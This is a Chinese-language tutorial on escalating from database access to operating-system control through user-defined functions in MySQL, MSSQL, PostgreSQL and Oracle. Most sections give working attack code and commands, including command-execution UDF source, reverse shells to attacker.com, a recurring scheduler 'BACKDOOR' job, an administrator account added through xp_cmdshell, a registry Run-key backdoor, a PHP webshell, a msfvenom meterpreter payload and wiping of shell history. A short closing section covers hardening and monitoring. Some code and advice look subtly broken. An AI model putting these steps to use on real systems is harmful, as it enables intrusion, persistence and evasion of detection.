一、UDF 提权概述

用户自定义函数(User Defined Function, UDF) 是 MySQL 提供的扩展机制,允许开发者用 C/C++ 编写动态链接库(.so / .dll),然后在 SQL 中调用。但如果你有 FILE 权限和 CREATE FUNCTION 权限,就能把系统命令变成 SQL 函数,实现从数据库用户到系统 root 的跨越。

二、前置条件

2.1 权限检查

-- 检查当前用户权限
SELECT user();
SELECT current_user();

-- 检查 FILE 权限
SHOW GRANTS LIKE '%FILE%';

-- 检查 CREATE FUNCTION 权限
SHOW GRANTS LIKE '%CREATE%FUNCTION%';

-- 检查插件目录
SHOW VARIABLES LIKE 'plugin_dir';

-- 检查 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';
-- 如果是 NULL,禁止读写
-- 如果是路径,只能在那个目录
-- 如果是空,可以读写任意目录

2.2 典型权限获取路径

普通 Web 用户(低权限)
    │
    │ SQL 注入(UNION SELECT / 堆叠)
    ▼
数据库 FILE + CREATE FUNCTION 权限
    │
    │ 写入 .so/.dll 到 plugin_dir
    ▼
创建 UDF sys_exec()
    │
    │ sys_exec('whoami')
    ▼
系统命令执行(通常 mysql 用户)
    │
    │ 提权漏洞 / 定时任务 / 反弹 shell
    ▼
root 权限

三、lib_mysqludf_sys 详解

lib_mysqludf_sys 是最流行的 UDF 提权库。

3.1 编译安装

方法一:下载预编译版本

# 从 exploit-db 下载
wget https://www.exploit-db.com/raw/1518 -O udf.c

# 或者找预编译的
# 32 位: lib_mysqludf_sys.so
# 64 位: lib_mysqludf_sys.so

方法二:手动编译

// udf.c — 简化版
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql/mysql.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
void sys_exec_deinit(UDF_INIT *initid);

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "Wrong args");
        return 1;
    }
    return 0;
}

char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
    FILE *fp = popen(args->args[0], "r");
    if (!fp) return NULL;
    fgets(result, 255, fp);
    *length = strlen(result);
    pclose(fp);
    return result;
}

void sys_exec_deinit(UDF_INIT *initid) {}
# 编译(需要 mysql-devel 包)
gcc -shared -fPIC udf.c -o libudf.so $(mysql_config --cflags --libs)

# 或者更简单
gcc -shared -fPIC udf.c -o libudf.so -I/usr/include/mysql

3.2 上传 UDF 文件

MySQL 5.x 方法

-- 找到 plugin_dir
SELECT @@plugin_dir;
-- /usr/lib/mysql/plugin/

-- 用 INTO OUTFILE 写入
SELECT 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/libudf.so';

-- 或者分块写入(大文件)
SELECT 0x7F454C46... INTO OUTFILE '/tmp/udf1.so';
SELECT 0x... INTO OUTFILE '/tmp/udf2.so';
-- 然后用 CONCAT 拼成完整文件

MySQL 8.0 方法

MySQL 8.0 限制了 secure_file_priv,默认禁止写入。需要先修改:

-- 如果有足够权限
SET GLOBAL secure_file_priv = '';

-- 或者从配置文件修改(如果能读到 my.cnf)
SELECT LOAD_FILE('/etc/my.cnf');

3.3 创建 UDF 函数

-- 创建 sys_exec(执行命令)
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'libudf.so';

-- 创建 sys_eval(执行命令并返回输出)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'libudf.so';

-- 创建 sys_get(获取系统变量/环境变量)
CREATE FUNCTION sys_get RETURNS STRING SONAME 'libudf.so';

-- 创建 sys_set(设置系统变量)
CREATE FUNCTION sys_set RETURNS STRING SONAME 'libudf.so';

-- 创建 sys_exec_cmd(更底层)
CREATE FUNCTION sys_exec_cmd RETURNS STRING SONAME 'libudf.so';

3.4 使用 UDF

-- 执行系统命令
SELECT sys_exec('whoami');
-- root

SELECT sys_exec('id');
-- uid=0(root) gid=0(root) groups=0(root)

SELECT sys_exec('cat /etc/passwd');

-- 返回命令输出
SELECT sys_eval('id');

-- 写入反弹 shell
SELECT sys_exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1');

3.5 清理痕迹

DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
DROP FUNCTION sys_get;

-- 删除 .so 文件
SELECT sys_exec('rm -f /usr/lib/mysql/plugin/libudf.so');

-- 清理历史
SELECT sys_exec('rm -f /root/.bash_history');
SELECT sys_exec('history -c');

四、secure_file_priv 绕过

4.1 secure_file_priv 的值

效果
NULL 禁止所有 LOAD_FILE / INTO OUTFILE
空字符串 允许读写任意目录
/path/to/dir/ 只能在这个目录读写

4.2 绕过方法

方法一:修改 MySQL 配置文件

如果有写入权限,修改 my.cnf:

# 找到配置文件
SELECT sys_exec('find / -name "my.cnf" 2>/dev/null');
SELECT sys_exec('cat /etc/mysql/my.cnf');

# 修改 secure_file_priv
SELECT sys_exec('echo "secure_file_priv=" >> /etc/mysql/my.cnf');
SELECT sys_exec('service mysql restart');

方法二:软链接

# 如果 secure_file_priv 指向某个目录
SELECT sys_exec('ln -s /var/lib/mysql-files /tmp/link');

# 然后用 LOAD_FILE 读取
SELECT LOAD_FILE('/tmp/link/passwd');

方法三:MySQL 8.0 的 LOAD_FILE 绕过

MySQL 8.0.17+ 引入了 mysql.import 表:

-- 某些版本可以通过 INFORMATION_SCHEMA 的 FILES 表绕过
SELECT * FROM INFORMATION_SCHEMA.FILES;

-- 或者用 CTE + UNION 的方式

五、Windows MSSQL UDF 提权

5.1 xp_cmdshell

MSSQL 最经典的存储过程,执行系统命令:

-- 默认关闭,需要开启
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'ipconfig';

-- 添加管理员
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

5.2 CLR UDF

MSSQL 支持 .NET CLR 存储过程,可以用 C# 编译 DLL:

using System;
using System.Data.SqlTypes;
using System.Diagnostics;

public class UDF {
    [Microsoft.SqlServer.Server.SqlFunction]
    public static SqlString SysExec(SqlString cmd) {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.RedirectStandardOutput = true;
        p.Start();
        return new SqlString(p.StandardOutput.ReadToEnd());
    }
}
-- 启用 CLR
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'clr enabled', 1; RECONFIGURE;

-- 创建程序集
CREATE ASSEMBLY udf FROM 'C:\path\to\udf.dll' WITH PERMISSION_SET = UNSAFE;

-- 创建函数
CREATE FUNCTION dbo.SysExec(@cmd NVARCHAR(4000)) 
RETURNS NVARCHAR(MAX) 
AS EXTERNAL NAME udf.UDF.SysExec;

-- 使用
SELECT dbo.SysExec('whoami');

5.3 OLE Automation

DECLARE @o int;
EXEC sp_oacreate 'wscript.shell', @o OUTPUT;
EXEC sp_oamethod @o, 'run', NULL, 'calc.exe';

-- 或执行命令
EXEC sp_oacreate 'scripting.filesystemobject', @o OUTPUT;
EXEC sp_oamethod @o, 'exec', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';

5.4 注册表利用

-- 读取注册表
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', '', @value OUTPUT;

-- 写入启动项
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor', 'cmd.exe /c C:\shell.exe';

六、PostgreSQL UDF 提权

6.1 CREATE FUNCTION + 动态链接库

// pg_udf.c
#include <postgres.h>
#include <fmgr.h>
#include <utils/builtins.h>
#include <stdio.h>

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(sys_exec);

Datum sys_exec(PG_FUNCTION_ARGS) {
    text *cmd = PG_GETARG_TEXT_PP(0);
    FILE *fp = popen(text_to_cstring(cmd), "r");
    char buf[1024];
    pclose(fp);
    PG_RETURN_TEXT_P(cstring_to_text(buf));
}
# 编译
gcc -shared -fPIC pg_udf.c -o pg_udf.so -I/usr/include/postgresql

# 上传到服务器
scp pg_udf.so user@target:/tmp/
-- PG 9.3+ 的 CREATE EXTENSION 或直接 CREATE FUNCTION
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS text AS '/tmp/pg_udf.so', 'sys_exec' LANGUAGE C STRICT;

SELECT sys_exec('whoami');

6.2 COPY PROGRAM

PostgreSQL 9.3+ 可以用 COPY ... TO PROGRAM:

-- 写入文件
COPY (SELECT '<?php eval($_GET[1]);?>') TO PROGRAM 'cat > /var/www/html/shell.php';

-- 读取命令输出
COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/out.txt';

6.3 plpython3u 利用

如果安装了 Python 过程语言:

CREATE EXTENSION IF NOT EXISTS plpython3u;

CREATE FUNCTION sys_exec(cmd text) RETURNS text AS $$
import subprocess
result = subprocess.run(cmd, shell=True, capture_output=True)
return result.stdout.decode()
$$ LANGUAGE plpython3u;

SELECT sys_exec('whoami');

6.4 DO 块利用

DO $$ BEGIN EXECUTE format('CREATE TABLE IF NOT EXISTS %I', 'test'); END $$;

-- 结合系统函数
DO $$ BEGIN PERFORM pg_sleep(5); END $$;

七、Oracle UDF 提权

7.1 Java Stored Procedure

Oracle 从 8i 开始支持 Java 存储过程:

import java.lang.Runtime;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class UDF {
    public static String sysExec(String cmd) throws Exception {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
        StringBuilder sb = new StringBuilder();
        String line;
        while ((line = r.readLine()) != null) sb.append(line).append("\n");
        return sb.toString();
    }
}
# 编译并 loadjava
loadjava -v -u sys/password UDF.class
CREATE OR REPLACE FUNCTION sys_exec(cmd VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'UDF.sysExec(java.lang.String) return java.lang.String';

SELECT sys_exec('whoami') FROM dual;

7.2 DBMS_SCHEDULER

用数据库调度器在操作系统层面执行任务:

BEGIN
  DBMS_SCHEDULER.create_job(
    job_name        => 'BACKDOOR',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',
    start_date      => SYSTIMESTAMP,
    repeat_interval => 'FREQ=MINUTELY;INTERVAL=5',
    auto_drop       => FALSE
  );
  DBMS_SCHEDULER.enable('BACKDOOR');
END;
/

7.3 UTL_FILE + 软链接

-- 创建 directory 对象
CREATE OR REPLACE DIRECTORY MYDIR AS '/tmp';

-- 写入文件
BEGIN
  UTL_FILE.PUT_LINE(UTL_FILE.FOPEN('MYDIR', 'backdoor.sh', 'W'), 'whoami > /tmp/out');
END;

八、Metasploit UDF Helper

Metasploit 提供了完整的 UDF 提权模块。

8.1 MySQL UDF

# 生成 UDF payload
msfconsole
use exploit/multi/misc/mysql_payload_rce
set RHOST 192.168.1.100
set RPORT 3306
set USER root
set PASS root
run

8.2 手动配合

# 1. 用 msfvenom 生成 UDF DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f dll > udf.dll

# 2. 通过 SQL 注入写入
# 需要 FILE 权限和 INTO DUMPFILE
SELECT 0x4D5A9000... INTO DUMPFILE 'c:/windows/temp/udf.dll';

# 3. 创建 UDF 调用
CREATE FUNCTION sys_binexec RETURNS STRING SONAME 'udf.dll';
SELECT sys_binexec('met');

九、UDF 提权防御

9.1 MySQL 加固

-- 移除危险权限
REVOKE FILE ON *.* FROM web_user;
REVOKE CREATE ON mysql.* FROM web_user;
REVOKE CREATE FUNCTION ON *.* FROM web_user;

-- 设置 secure_file_priv
-- my.cnf: secure_file_priv = NULL

-- 禁用动态链接加载(MySQL 8.0)
plugin-load-add = ""

9.2 MSSQL 加固

-- 关闭危险存储过程
EXEC sp_dropextendedproc 'xp_cmdshell';
EXEC sp_dropextendedproc 'xp_oacreate';
EXEC sp_dropextendedproc 'xp_regread';

-- 禁用 CLR
EXEC sp_configure 'clr enabled', 0; RECONFIGURE;

9.3 PostgreSQL 加固

-- 限制 CREATE FUNCTION
REVOKE ALL ON FUNCTION sys_exec(text) FROM PUBLIC;

-- 移除 PL 语言
DROP EXTENSION plpython3u;
DROP EXTENSION plperlu;

-- 限制 COPY PROGRAM
ALTER USER web_user WITH NOBYPASSRLS;

9.4 监控

# 监控 UDF 文件创建
inotifywait -m /usr/lib/mysql/plugin/ -e create,modify

# 异常查询监控
tail -f /var/log/mysql/general.log | grep -i "CREATE FUNCTION\|INTO OUTFILE\|INTO DUMPFILE"

UDF 提权是 SQL 注入危害最严重的阶段——从数据泄露升级到系统完全沦陷。防御的关键是严格控制 CREATE FUNCTION 和 FILE 权限,配合操作系统层面的最小权限原则,让 mysql/postgres/mssqlserver 用户没有系统命令执行能力。